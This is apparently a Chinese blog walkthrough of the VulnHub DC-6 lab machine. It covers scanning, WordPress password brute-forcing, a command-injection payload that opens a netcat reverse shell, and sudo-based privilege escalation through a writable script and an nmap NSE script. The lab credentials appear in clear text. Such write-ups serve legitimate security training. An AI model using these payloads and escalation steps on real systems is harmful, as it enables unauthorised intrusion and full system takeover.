DC-6靶机

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip

2.虚拟机配置

设置网络为nat模式,启动打开时,发现错误直接重试和点是

打开靶机虚拟机,如下图所示即为正常

二.开始渗透

1.信息收集

查找与攻击机(kali)同一网段的靶机ip

复制代码
arp-scan -l

可以看到靶机ip为192.168.111.134,攻击机(kali)ip 为192.168.111.128

用nmap查看开放端口以及开放服务

复制代码
nmap -p- -sV 192.168.111.134

开放了一个http和ssh服务,用浏览器打开http服务,发现无法访问,和之前一样,去修改dns文件

复制代码
linux:
vim /etc/hosts
windows:
C:\Windows\System32\drivers\etc

添加如下的内容

复制代码
192.168.111.134 wordy

用浏览器打开,得到如下界面,以及提示是wordpress

用whatweb查看一下具体信息

复制代码
whatweb -v http://192.168.111.134

得知信息为word press和apache搭建的网站,用wpscan来扫描一下用户

复制代码
wpscan --url http://wordy/ --enumerate u

发现如下用户名

将其保存在usernames.txt中,方便后续爆破

看了大佬的wp,发现提示写在人家官网

DC: 6 ~ VulnHub

复制代码
cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt

对用户进行账号密码爆破

复制代码
wpscan --url http://wordy/ -U usernames.txt -P password.txt

显示有六个用户存粹是我多复制了一下,不用在意这个

2.登录后台

看到用户名mark/helpdesk01,进行账户登录

登录地址(wordpress的后台地址,信息搜集,目录扫描,都做到这里了,不再做演示)

复制代码
http://wordy/wp-admin/

侧边栏里面有个activity monitor插件, 去漏洞库搜一下这个插件是否有漏洞

WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection - PHP webapps Exploit

下面有利用方法

3.漏洞利用

漏洞利用地址如下

http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools

命令注入,打开bp进行抓包,在ip那一栏填上一个网址,点击lookup

拼接如下命令

复制代码
baidu.com | nc -e /bin/bash 192.168.111.128 4444

在kali端开启监听

复制代码
nc -lvvp 4444

4.获取shell

得到如下shell

用python启一个交互式shell

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

进入到home目录下,发现提示

复制代码
cd /home/mark/stuff

进行ssh登录,graham/GSo7isUM1D4

复制代码
ssh graham@192.168.111.134

5.进行提权

利用suid,发现没有可以利用的地方

查看当前用户可执行操作

复制代码
sudo -l

发现可操作/home/jens/backups.sh,打开发现是一个解压的脚本

复制代码
cat /home/jens/backups.sh

向这个脚本写入命令,让jens这个用户来执行

复制代码
echo "/bin/bash" >> /home/jens/backups.sh

sudo -u jens /home/jens/backups.sh

已经切换到jens用户,查看这个用户可以执行的命令

看到一个nmap,需要nmap打开一个shell即可获得root权限

nmap中执行shell方法

复制代码
echo "os.execute('/bin/bash')">/tmp/shell.nse

sudo nmap --script=/tmp/shell.nse

不知道为什么,我这个shell不会显示我自己打的命令,所以需要自己盲打

复制代码
cd /root
cat theflag.txt

最终成功获得root权限

相关推荐
m0_715674437 小时前
可视化易用·低误报率·跨区域部署:知源-AI数据分类分级系统在金融行业的落地实践
网络·安全·网络安全
国科安芯7 小时前
四重证据,一条逻辑链:商业航天级微控制器MCU抗辐射验证方法学综述——以国科安芯AS32S601为例
人工智能·单片机·嵌入式硬件·mcu·安全·抗辐射
dk_tjy7 小时前
AI驱动的自动化攻击背景下:企业端点安全体系的技术架构与建设路径
网络·人工智能·安全·自动化·终端安全管理·数据防泄漏
梦想出海-Phoebe11 小时前
AI Agent能实现自主复制吗?Anthropic研究揭示模型部署与IoT设备安全问题
人工智能·物联网·安全
愤怒火龙果12 小时前
AI攻防 AIRT03-RAG Exploitation & Vector Database Attacks
数据库·人工智能·网络安全
hz5678914 小时前
本地部署视频会议系统软件功能有哪些?会议预约、权限分配与协作能力详解
安全·云计算·实时音视频·信息与通信·远程工作
山东科恩光电14 小时前
安全触边电阻变化感应机制与工业自动化设备防夹伤配置实操指南
安全
严谨的麻辣烫14 小时前
静态代理 IP 的出口一致性如何验证?Python 请求检测与异常排查
开发语言·python·http·网络安全
shiyi.十一15 小时前
【CISP教材】第9知识域:计算环境安全
网络·安全·cisp
YFJ_mily15 小时前
【10-12月优质学术会议合集】会议覆盖人工智能、大数据、高端装备、软件与网络安全 、计算机视觉技术等热门方向
算法·安全·web安全·网络安全·软件·rdlink研发家